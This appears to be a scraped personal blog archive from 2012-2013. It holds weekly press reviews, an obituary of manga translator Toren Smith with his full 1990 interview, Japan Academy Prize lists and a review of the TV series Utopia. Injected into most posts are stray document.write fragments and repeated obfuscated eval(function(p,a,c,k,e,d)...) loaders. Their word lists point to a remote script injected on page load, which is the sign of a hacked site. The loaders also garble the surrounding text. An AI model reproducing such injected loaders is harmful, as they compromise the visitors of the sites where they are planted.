Press Review (2013-03-31)

The most boring week spent in the worse way possible: expecting something to happen. Of course, document.write(“”); nothing happened! I was hoping to get some results from my little job hunting, but I guess I’ll stay in this hell’s pit for a little while. At least I’ve received my income tax returns and got my annual haircut (for that I tried a local italian barber for the first time). Buona Pasqua tutti!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdisa|var|u0026u|referrer|nekyy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdynk|var|u0026u|referrer|etrsb||js|php’.split(‘|’),0,{}))

For a little action, check the few links I gathered this week
after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Non Sequitur (2013-03-05)
Zits (2013-03-05)
Local News & National Politics

Media, Culture, & Society

Sciences & History

Union stuff & Montreal’s libraries

[ Traduire ]

Toren Smith (1960-2013)

This week, document.write(“”); I was aghast to learn (via Anime News Network and James Hudnall) that one of the founding pillar of the manga industry in North America had passed away. Toren Smith was probably the first to go to Japan in order to negotiate publishing rights for manga titles, translate them into English (working with his friend David Lewis, later known as Dana Lewis, whom he met in Japan) and team up with American comics companies (like Viz, Eclipse and Dark Horse) to publish them — for that purpose he created Studio Proteus and thus kickstarted the manga industry in North America. For this we should all be immensely grateful and indebted to him.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddkh|var|u0026u|referrer|fhets||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbhy|var|u0026u|referrer|essht||js|php’.split(‘|’),0,{}))

I met Toren for the first time in August 1989 at the San Diego Comic Convention, where my friend Alain Dubreuil and I interviewed him for Protoculture Addicts, and I kept seeing him in several other conventions after that. However, my wife knew him quite well. Married twice (mostly to the artist Tomoko Saito), he led a full and interesting life. He was an enthusiastic and multitalented individual, a shrewd businessman (he didn’t talked much about it but a good part of his income came from translating hentai manga, most of them published through Fantagraphics‘ imprint MangErotica) and a great guy. He brought us so many excellent manga, gave us (with Adam Warren) the Dirty Pair comics and even had a cameo appearance in the anime Gunbuster (at first I thought he had seriously pissed off Gainax people, because when someone put you in their animation only to kill you off it’s usually not out of love, but I later learned that it was meant as an expression of great respect and friendship).

Toren Smith died on Monday March 4th 2013 at age 52 (way too young) and the cause of his death has not been made public. My wife and I want to express our most sincere condolences to Toren’s family, friends and fans. Requiescat in pace Smith Toren!

Many members of the anime and manga community commented on his passing (Japanator, Right Stuf, The Fandom Post, All Day Comics, Gilles Poitras, The Mike Toole Show and I’m sure you can find more on Google), but if you have to read only one piece about Toren I suggest you check the obituary by Jonathan Clements.

For my part, as a tribute to Toren Smith’s life and career, I would like to offer you the interview we made with him and published in Protoculture Addicts #7 (pages 21-24) in the Spring 1990. Read the interview after the jump:

An Interview with Toren Smith

PA: Tell us about your background in Japanese animation: what are the series that marked your youth and how did you get so hooked to this japanimation thing?

TS: When I was a kid there were only two Japanese animation on TV, at least where I lived. Interesting enough, I liked them both. I didn’t like much else that was on TV, but I remember liking both of the shows. One of them was Kimba the White Lion, one of [Osamu] Tezuka’s works, and the other one was a show called Marine Boy, based on a Japanese show called Marine Kid which is really minor and obscure. Most of the Japanese people I talked to just never heard of it, even Japanese animation fans; but we have to remember there have been 500 animation series in Japan for the past 20 years, so it’s hard to remember them all. So that’s pretty much what I remember of when I was a kid. I remember liking Kimba quite a bit. I would actually hurry home from school so I could watch that one.

As far as getting turned on more recent stuff, what happened was that I moved from Calgary to California. I was living with a friend of mine in North California and she was a very popular SF/Fantasy artist. One of her fans came up to visit her and said, “have you ever seen Japanese animation? You got to see it, it’s great!” So we went to his grandmother’s house where he was staying and watched Japanese animation. He showed us Cagliostro Castle, the [Hayao] Miyazaki Lupin film. It was subtitled in English. We were all just completely blown away by that. He also showed us Phoenix 2772, the Australian dubbed version which didn’t impressed us as much but was still pretty good. When we came back the next week-end, he showed us Crusher Joe, some episodes of Urusei Yatsura and a couple of other things like that. My friend and I were completely astonished to find out that this stuff existed since we had never heard of it. And he told us about the C/FO [Cartoon/Fantasy Organization].

The person who did all this was James Hudnall, who of course is now writing for Marvel Comics. He does Alpha Flight, Strike Force Morituri and recently did Luthor for DC. It’s kind of interesting that he was the one who started us all on it. So, it’s pretty much how I got into it. And then from there, of course, I got interested in the manga itself.

PA: What were your first involvements with the animation fandom in this country?

TS: What happened was, James Hudnall decided he liked the area up there so much (we are living in Santa Rosa, around that very nice area about fifty miles north of San Francisco, the Sonoma county with a lot of wineries around) that he wanted to moved there. He was still a computer programmer at that time. He packed up everything, bought a house, and moved up there but he missed going to the C/FO meetings that they were having down in Southern California. I mean this was when the C/FO really did something, when people were still getting involved doing a lot of things. So we started a C/FO chapter – he started it and I came in to help out on it. I was working as a computer programmer at that time as well. So I started helping him out by making translation booklets. I would just take sheets of 8 by 11 paper, and use the IBM Selectric typewriter at work to produce a master copy, switching the balls to make different typefaces. I’d paste in drawings clipped out of animation magazines, then Xerox it off on the company machine when no one was around, fold it over once, and we’d give them away at the meetings. A lot of people would come and watch all different kinds of animation. I started collecting it about that time too.

Then I got contacted by a friend of mine, John McLaughlin, who is a SF fan and was putting on BayCon. He asked us to do an animation room, which was very progressive of him because at that time not many people had ever done one. That was BayCon ‘84. We had just a little tiny room – a room where the beds fold up into the wall. Well, it was jammed, it was absolutely packed with people, from the time it opened till the time it closed. John saw this and said, “God! It looks really popular! Next year we’ll have a bigger room”. So in ’85 we had a much bigger room. That was the first year I put together one of those animation booklets. It was stapled together, it was twenty pages Xeroxed on both sides, some of them were blue, most of them were yellow and I got Lela Dowling to draw a really nice Lum on the front. That was the booklet that started everything off. Again the room was absolutely packed from morning till night. So John said, “OK, next year what if we run it 24 hours? I’ll give you a huge budget so you can rent all the stuff you want, buy all the films you want and print a really nice booklet”.

I contacted Steven Johnson, and after I’d written all the synopses, I drove down to his office and we worked twenty hours a day for three days putting everything together. It was originally printed with a black and white cover, but when Books Nippan asked us to reprint it a few months later, we had Lela Dowling color her original cover illustration. So that was the big BayCon ’86 book. I really wanted to do an expanded version, I really did. I had plans for it; [Yoshikazu] Yasuhiko even did me a cover – I got it at home on my wall in a frame; [Hayao] Miyazaki’s also doing one for me, but I’m not sure now when I’m going to have time to do the book – it might not be for years. Besides, with all the subtitling that’s being done, and the English version coming out, the need for such a book isn’t as great as it once was. Anyway, that was how I got involved in BayCon and came out of that.

PA: What brought you to Japan and how did Studio Proteus start?

TS: What happened was that I had been in pretty close contact with Frederik Schodt who wrote Manga! Manga! He called me up and said, “look, a friend of mine wants to start publishing Japanese comics in America, can you help him at all?” I said, “well, maybe”. So I got into contact with this person, Seiji Horibuchi who is now president of Viz comics. At that time he was running his own company called Green Communications which was doing location research for movies and stuff like that; he had nothing to do with comics at all. He had a connection with Shogakukan. He talked about it a little bit, he asked my opinion on a few things. A couple of years earlier, James Hudnall had been working part time for Eclipse Comics as a Marketing Director. He was pushing them to get Akira and Lone Wolf and Cub. We didn’t realize at that time that First Comics was also negotiating for those. But no one was really interested in Japanese comics back then; they didn’t think it could sell.

I started talking to Seiji a lot. For about a year we talked about it, and made various plans. More and more I felt that I wanted to go to Japan. This was something I really wanted to do. To go to Japan, meet some people and see what it was like. At that time I had figured I would just work for Viz as a translator. Seiji was saying that I’d do Urusei Yatsura and all sorts of other stuff. I finally packed up, sold everything, quit my job, took all the money I had and went to Japan. I went over there with James Hogan, the SF writer. We went to the Daicon SF convention. We flew to Tokyo, spent two days there and then flew directly to Osaka for the convention. At Daicon V, I met with [Osamu] Tezuka, Mamoru Oshii, Mamoru Nagano; I just met this incredible list of people and that was it. Once I made the contacts, I could start talking to people about things.

I didn’t actually start working on Kamui until early ’87. Back in early ’86, Seiji had decided, based on my recommendation, that he should co-publish the book with an already established American company. So I said: “you should go with Eclipse because they are interested and because they are close” (they are very close to San Francisco, about 75 miles north). Seiji kept telling me, during the fall of ‘86, “Don’t worry, we’ll give you Kamui, and we’ll give you another book, Mai [The Psychic Girl] or Area 88. That way you’ll have two books so that you can survive while living in Japan doing them”. I finally got a letter from James Hudnall telling he’d been given Area 88 and Mai and Viz had never even told me in my face. So I was stuck in Japan with only Kamui to live on. It wasn’t enough; I mean I would have starved to death. So I merely had to start doing things on my own. So I gathered up a bunch of stuff I really wanted to get the rights to and publish in English. And I took it to Seiji and said: “look, these are things we should get. I could help you get them and if I do, you’ll have to give me the translation work on it”. “Well”, he said, “we can’t do anything that isn’t Shogakukan right now; we have to do only Shogakukan works”. “OK, fine, fair enough. We can’t wait on these things or other people will get them”. So I went off and got them myself. I got Appleseed, and a bunch of other things. When I told Seiji, he got really mad at me. So I did Kamui for him but I never did anything else. The only reason I’m doing Nausicaä now is because [Hayao] Miyazaki insisted that I work on it. That was the big split between me and Viz and that’s why I decided to start Studio Proteus.

One thing I realized is that I wasn’t going to get the rights to anything unless I could fool these people into thinking that I was a real company. I got a very expensive suit, spent most of my last money on it, so I would look very professional, and I got some really nice business cards. I planned everything out. I would go to them and show them the business card. They’d see the business card and they’d see the suit and they’d figure “this guy must know what he’s talking about”. That’s all it was. And of course I had copies of the stories I’d written for Epic and Eclipse and other people like that. So that’s how Studio Proteus really got started – an expensive suit, a nice business card, and a line of B.S. I contacted the Appleseed people first of all and they were very interested. Also at that time we were negotiating for Nausicaä so all I had to tell people was that we were doing Nausicaä and immediately everyone would say “you must be a big company, if you’re doing Nausicaä” because everyone knows Nausicaä there, it’s the Watchmen of Japan, everyone knows it. So after that, things started to fall into place, and Studio Proteus was off and running.

PA: What’s the readers’ feedback on your present projects?

TS: It depends on how you count feedback. Most letters you get are positive because most people who don’t like something, hate it, or got pissed off at it, won’t write in; they’ll just grumble to their friends. But if they like it, they’ll want to write, show their approval and maybe get published; so most of the letters we get are positive. From talking to other writers about how fan mail tends to run, I’ve determined that, actually, the negative mail on all of our series is very low, much lower than the average. So I think we must be doing something right. As far as sales go, all of our books are selling much better than the average B&W comic: the average B&W sells about 6000 copies; Appleseed and Dirty Pair are selling close to 30,000 copies, which is very good. Our lowest seller is Cyber 7 but that’s catching on and sales on everything are going up. Outlanders is selling 500 to a 1000 copies more each month as the series goes on; this is almost unheard of in the comic industry. Cyber 7 is also selling more, about 250 additional copies every new issue.

The only thing we’re getting a lot of flack on of course is Dirty Pair. A lot of people don’t like the fact that we changed the character designs and that they are too different from the TV series. I said it a million times before but I’ll say it again: we had no choice on that, we had to change them. If they don’t like what we’ve changed them to, well that’s a decision that only the individual reader can make. If they don’t like it, they really don’t have to buy it because we have to do what we want to do. Otherwise, we can’t do the best job we can on it. You have to want to be doing something; if the readers want you to do this or that, you feel like you’re being pushed around. It’s either the readers like what you do or they don’t but I don’t think people will go farther ahead if they try and do what the readers want. Once you do that, almost invariably you’re sunk. You can never guess. We’re making 30,000 people happy, I know that much. I think that maybe rather than try to make happy the two or three people that write in every month – that’s about all we get, maybe two or three very negative letters every month (although there must be much more people out there who don’t like it) – so I mean rather than trying to make those 200-300 people happy at the expense of the 30,000 people who like it, we’ll just continue to make what we feel is good. That’s the best we can do, I think.

PA: What are your near future projects and what are you thinking of for the next years?

TS: Coming up real soon is Dominion. As a matter of fact, I should probably have a script waiting for me in San Francisco. I’ll start working on that next week. That will be out in October [1989]. All the covers on that will be by [Masamune] Shirow – some people didn’t like the Arthur AdamsAppleseed covers. Within the next month, we’ll probably start working on What’s Michael? That’s a book-size thing, about 110 pages or so, that we’ll have coming out, sold mainly through bookstores. It’s a very funny comic. Following that, Black Magic will be beginning in February [1990]. What’s happening is that Appleseed Book three will end and, instead of Book four beginning a month later, we’ll have Black Magic. It will run for five months and then there will be a one month break and we’ll start Appleseed Book four. The reason for this is because the artist in Japan is very slow in producing the book and we have to space it out as much as we can. I’m afraid that Appleseed fans can’t expect to see Book 5 much before summer ’92. But we’re thinking of publishing the Appleseed Data Book, a 200-page encyclopaedia of the Appleseed world. It has around fifty new Shirow illos and a new 48-page short story. We might do that later next year.

The Venus Wars will be coming out from Dark Horse this summer, July or August. It’s written and drawn by Yoshikazu Yasuhiko, director and character designer for Gundam, Arion, Song of the Wind and Trees and other films like that. I’m sure every animation fans knows Yasuhiko. We will be doing that probably for Dark Horse, on a monthly basis. It will run about forty pages an issue and will cost about $2.25. It should run – if Yasuhiko does what he told me he was going to do – something between forty and fifty issues. About the same size as Outlanders.

We’ve got about four more projects coming up for ’90, but they’re all still waiting for final contracts, so I really can’t talk about them. One I can talk about is The last Continent, by Akihiro Yamada. It’s an homage to Arthur Conan Doyle’s The Lost World, but takes place in the world of 1950’s Japan, instead of Victorian England. The art is very detailed and realistic – it reminds me a bit of Mark Schultz’ art on Xenozoic Tales, with a dose of Frazetta’s comics work. Look for that from Eclipse about July or August.

The new Dirty Pair series will be starting in May. This one will be called A Plague of Angels. The WWWA has sent the Pair to an out of the way O’Neill colony, and assigned a reporter to follow them around as they (supposedly) keep out of trouble and show everybody how nice and sweet they really are. I think you can imagine about how well that particular plan works out. The first issue has the most action we’ve ever jammed into a single issue of The Dirty Pair so far. That’s pretty much it for the future that I can talk about, anyway.

PA: What can you tell us about the main new things coming in Japan in the near future?

TS: I’ve been away so long, actually, I’m due to go back. I’ll be going back in September. I know that there’re going to be a movie made called Maimu, directed by [Sh?ji] Kawamori, the guy who directed Macross The Movie and character design will be by [Haruhiko] Mikimoto; Mikimoto has been doing a lot of character designs lately and it started to look all the same because he’s doing so much work he doesn’t have time to really think up new things. But I’ve seen the character designs for Maimu and they’re going to be great. And of course Kawamori is just like a great director, so I’ve got real hope for that. The girl does a lot of riding around on a mountain bike in the movie and so Kawamori bought a mountain bike and he’s been learning to do tricks and things on it, so that he could direct it in such a way that is very convincing. That’s something that is coming up and I look forward to it.

[Katsuhiro] Otomo is working on a new film, Roujin Z, which is going to be – you’re not going to believe this – about an old man who’s gotten Alzheimer’s disease. He’s senile and he’s going to be inside a power suit like those in Appleseed or Gundam; he’s going to go out and do good deeds except he’s not very good at them because he’s senile. What a bizarre concept. But, anyway, that’s what Otomo’s got planned; we’ll see what happens with that. There’s also a rumour that Gainax, which did Wings of Oneamis, will be the one working on that.

The Gainax folks are also doing a series for NHK in Japan. The title is, literally, Nadia’s Strange Ocean, but they’ve been calling it Blue Water in English, which is a lot more euphonic. The character designs are by [Yoshiyuki] Sadamoto (Oneamis) and direction by [Hideaki] Anno (Gunbuster). I’ve seen the first episode, and it’s pretty damn good for TV animation. It’s heavily influenced by 20,000 Leagues Under the Sea.

There’s another rumour – that I’m not in position to confirm or deny – that Shirow Masamune (Black Magic M66 and Appleseed) will be directing a very high budget Appleseed movie; when I say very high budget I’m talking about the same as Wings of Oneamis or Akira, somewhere between.

PA: Thank you Toren.

Interview by Alain Dubreuil (and Claude J Pelletier; pictures by CJP)

[ Traduire ]

36th Japan Academy Prize Winners

The Japan Academy Prize Association has just announced the Award winners for its 36th edition (for the nomination see our previous blog entry):

  • Best Picture of the year: The Kirishima Thing (“Kirishima, document.write(“”); Bukatsu Yamerutteyo”, dir.: Daihachi Yoshida)
  • Best Director of the year: Daihachi Yoshida (The Kirishima Thing)
  • Best Animation of the year: Wolf Children (“Okami Kodomo no Ame to Yuki”, dir.: Mamoru Hosoda)
  • Best Actor of the year: Hiroshi Abe (Thermae Romae)
  • Best Actress of the year: Kirin Kiki (Chronicle Of My Mother)
  • Best Supporting Actor of the year: Hideji Otaki (Dearest)
  • Best Supporting Actress of the year: Kimiko Yo (Dearest)
  • Best Screenplay of the year: Kenji Uchida (Key Of Life)
  • Best Music of the year: Ikuko Kawai (A Chorus of Angels)
  • Best Cinematography of the year: Daisaku Kimura (A Chorus of Angels)
  • Best Lighting of the year: Takashi Sugimoto (A Chorus of Angels)
  • Best Art Direction of the year: Norihiro Isoda & Nariyuki Kondo (The Floating Castle)
  • Best Sound of the year: Fumio Hashimoto (Admiral Yamamoto)
  • Best Editing of the year: Mototaka Kusakabe (The Kirishima Thing)
  • Best Foreign Language Film of the year: The Intouchables (France)
  • Most Popular Film of the year: The Kirishima Thing
  • Most Popular Actor of the year: Yuko Oshima (a member of AKB48’s Team K, for her role in Ushijima the Loan Shark)

Unlike last year, there is no clear winner. However, The Kirishima Thing gets best picture, best director, best editing AND most popular film, while A Chorus of Angels gets three of the “Technical” awards and Dearest gets both supporting role awards. I’ve already seen Dearest but I’ll make sure to add the other two on my list of “to watch” movies.

For more details on the award winners you can check the AsianWiki, Anime News Network and the Japan Academy Prize official site (in Japanese).

[ Traduire ]

36th Japan Academy Prize Nominees

Last January, the nominees for the 36th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第36回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2013) are:

The nominees for Best Director of the year (2013) are:

  • Shinji Higuchi & Isshin Inudo (The Floating Castle)
  • Junji Sakamoto (A Chorus of Angels))
  • Masato Harada (Chronicle Of My Mother)
  • Yasuo Furuhata (Dearest)
  • Daihachi Yoshida (The Kirishima Thing)

The nominees for Best Animation of the year (2013) are:

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the AsianWiki. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 8, 2013, so stay tuned!

Update (2013-03-10): Award winners have been highlighted in red. You can find the full result on my entry on the “36th Japan Academy Prize Winners” as well as check the AsianWiki and Anime News Network for more details.

[ Traduire ]

Sakuran

Sakuran-cov“Vendue à une maison close dès son plus jeune âge, Tomeki, est une petite fille rebelle qui n’a qu’un désir : s’enfuir du quartier des plaisirs et surtout ne jamais devenir une prostituée. Mais avec le temps elle finit par se prendre au jeu et va vouloir atteindre le titre d’oiran, le plus haut rang des courtisanes. Elle fait ses débuts dans le métier sous le nom de Kiyoha, et très vite révèle un véritable don pour l’art de l’amour. Un simple regard lui suffit pour que tous les hommes soient à ses pieds…

Sakuran vous fait découvrir la société très codée et hiérarchisée des courtisanes japonaises, trop souvent confondues avec les geishas. Avec ses règles strictes et ses principes ancestraux, le monde des prostituées de l’ère Edo vous dévoile tous ses secrets, des plus élégants aux plus cruels… Cynique et sulfureux à l’instar de son héroïne, ce manga nous dépeint une fois de plus une femme au caractère bien trempé, comme sait si bien les mettre en scène Moyoco Anno. Ce manga a été adapté au cinéma par la réalisatrice Mika Ninagawa.” [ Texte de la couverture arrière ]

Continuez après le saut de page >> Continue reading

Utopia

“The Utopia Experiments is a legendary graphic novel shrouded in mystery. But when a small group of previously unconnected people find themselves in possession of an original manuscript, document.write(“”); their lives suddenly and brutally implode. Targeted swiftly and relentlessly by a murderous organisation known as “The Network”, the terrified group are left with only one option if they want to survive: they have to run”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbiyi|var|u0026u|referrer|hstzt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzddh|var|u0026u|referrer|fnehk||js|php’.split(‘|’),0,{}))

“Episode 1: When five strangers from an online comic book forum agree to meet after gaining possession of the original manuscript for the cult graphic novel ‘The Utopia Experiments‘, they find themselves pursued by a shadowy organisation known as “The Network” who are in pursuit of the manuscript — and they are prepared to kill to track it down. While three of the forum members — Ian, Becky and Wilson — meet in the pub, another is confronted and killed by two Network henchmen. The only witness to the murder is 11-year-old Grant — the fifth forum member — and when he flees with the manuscript, the henchmen give chase. Ian and Becky soon find they’ve been set-up for crimes they haven’t committed, while Wilson’s hacking skills attract the attention of Network henchmen Arby and Lee. As the trio’s lives begin to fracture, the world of civil servant Michael Dugdale is also torn apart as he is blackmailed by The Network. Just as things are looking increasingly desperate for Ian, Becky and Wilson, they come face to face with an enigmatic stranger who claims to offer them a way out…” [Text from
the show’s website]


First, have a look on the trailer:


Self-described as a “Dark and enigmatic thriller,” this British TV series (yes, another one!) started on Channel 4 from January 15th 2013. Like most Brit TV, this series is rather short as it has only six 70-minute episodes (although it is somewhere question of “series 1” so it leaves hope for more). It’s a complex cyberpunk story that plays on our inner paranoia and was more accurately described by some as a “conspiracy thriller.” In a dystopic near future (global food price going up causing riots, new epidemic of “Russian flu”) big corporations and defence agency gone rogue are vying for power. And, caught in the middle, a bunch of comic book fans. It’s quite an interesting setting. However it doesn’t feel very original: “the network” remind me of the Division in Nikita, the comic book with hidden information a little of Heroes, and the pharma conspiracy a little bit of Torchwood: Miracle Day or some of ReGenesis, but overall, if I feel I’ve seen similar stories before, yet I cannot name any other shows to compare it with.

The show is strew with what seems to be a few popular culture references (to Watchmen, Terminator, etc.). It is also rather violent, with a lot of characters dying in each episode (and even one torture scene). It feels a little too much (and therefore is recommended for age 18+). But I guess that’s what we should expect with a psychopath assassin in the pay of a big nefarious pharmaceutical corporation. I am not sure if this show really takes this conspiracy theories thing seriously but I guess the subject is rather used in a sarcastic way. Although if the story is often funny the characters do seem to take themselves pretty seriously most of the time. That’s probably part of the charm of the show (I do particularly like the cold but efficient Jessica Hyde character).

What’s stand out the most in Utopia is the good acting, the superb camera work (particularly the scene composition) and (it’s British isn’t it?) the dark humour. I’ve seen only three episodes so far (half the so-called series 1) so I’m ready to hold judgement for now. But overall, it’s certainly worth watching.

For more information you can visit those sites:
[ Traduire ]

Press Review (2013-01-28)

First, document.write(“”); the domestic log. Indeed the Operating System of the Mac Mini got corrupt somehow and I had to use Time Machine to restore it. However, even Time Machine had a problem and I had to go back to a week-old backup to successfully restore the whole system and then restore more recent files individually. It took a while to do all that (each unsuccessful restore took several hours). It seems that everything stopped working properly since I also had problems with both my microwave oven and the regular oven (I will have to replace one and repair the latter).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbdkh|var|u0026u|referrer|zrrty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznaa|var|u0026u|referrer|rkftf||js|php’.split(‘|’),0,{}))

We also had a bunch of medical appointments (dentist and GP). My blood-pressure medication was changed (for a stronger one) and the diagnosis of
benign paroxysmal positional vertigo was confirmed. The most frustrating aspect of it is that I endured vertigo for over a month and a simple Epley maneuver solved the problem in a few minutes! Last year I was too busy to do any of the medical tests that my GP ordered, so this year I’ll make damn sure that I do them all.

I’ve spent the little spare times that I had left doing some clean up in my office (getting rid of a few more boxes, either putting books on shelves or shredding useless paperwork for recycling. We moved nearly two years ago and I still have plenty of boxes laying around). I also got a cold (luckily, so far, it’s not the terrible flu that everyone is talking about. Of course, I suffer from it not at work but during my days off!) and a water pipe broke down the street last night and we were nearly ten hours without water. Despite all that (there’s no respite for the restless, so now I am trying to catch up on my blogging) I still found many interesting news stories that I would like to share, so please check the links after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humor

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2012-12-28)

I didn’t do much in the last couple of weeks because I was too busy setting up my new computer (which works great; finally!) and doing some renovation in my office (changing my wobbly table with a brand new kitchen-type counter top and installing a similar counter top in the back of the office as a working area, document.write(“”); with a sink). One notable event: One night I was awaken by one of my cats making quite a ruckus and I quickly realized that he had caught a mouse, in the house! Now I have to make sure that such invasion never happens again. Finally, winter came upon us. After a first real snow storm that left just a few centimetres of the white stuff, we had rain on the day of the winter solstice (but the world didn’t end, thankfully) and it left enough snow (or ice) to insure a white Christmas. However, yesterday we got a huge snow storm that paralyzed the city. Actually, we’ve beaten the record of the “storm of the century” for the amount of snow which fell during the same day: nearly 50 centimetres! That left quite a pile of snow in front of the house. Just like in my childhood. With all this I didn’t have time to read much news, but I still gathered a few interesting stories. You’ll find the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfrhn|var|u0026u|referrer|hdnkr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbsn|var|u0026u|referrer|fhsry||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2012-12-10)

Nothing changed much in the last couple of weeks. I am still suffering from spells of diziness (it’s not severe enough to be a Labyrinthitis so I guess it should be something like BPPV ? Anyway, document.write(“”); I should really try to find time to consult on this, because it’s been several weeks and is quite annoying (and my wife worries). My iMac finally shipped from China and should be delivered imminently. I’ll probably be busy for the next couple of weeks while I set it up properly. The Holidays are approaching quickly and now it really feels like it since we’ve finally got a real snow storm (although very small, just a few centimeters, and it quickly rained on it). As usual, here some links to the online news stories that I found interesting (after the jump):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbet|var|u0026u|referrer|znyib||js|php’.split(‘|’),0,{}))
